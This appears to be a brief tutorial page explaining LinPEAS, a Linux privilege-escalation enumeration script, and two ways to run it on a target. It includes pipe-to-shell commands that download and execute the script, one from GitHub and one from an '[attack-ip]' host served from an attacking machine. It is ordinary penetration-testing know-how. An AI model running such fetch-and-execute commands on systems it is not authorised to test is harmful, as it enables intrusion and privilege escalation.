LinPEAS - Linux Privilege Escalation Awesome Script

^{see the github repository}

• What is LinPEAS?
• How to use LinPEAS
  • Direct download
  • Provided by attacking machine

What is LinPEAS?

LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix*/MacOS hosts. The checks are explained on book.hacktricks.xyz

Check the Local Linux Privilege Escalation checklist from book.hacktricks.xyz.

How to use LinPEAS

Direct download

$ curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

Provided by attacking machine

in case the target machine has no access to the internet it is possible to download the script first and provide it via the attacking machine

_{Attacking Machine}

$ wget -q https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
$ python3 -m http.server 80

^{if no wget available curl <REPO>/releases/latest/download/linpeas.sh > linpeas.sh}

_{Target Machine}

$ curl -L [attack-ip]/linpeas.sh | sh

or

$ wget -q [attack-ip]/linpeas.sh
$ sh linpeas.sh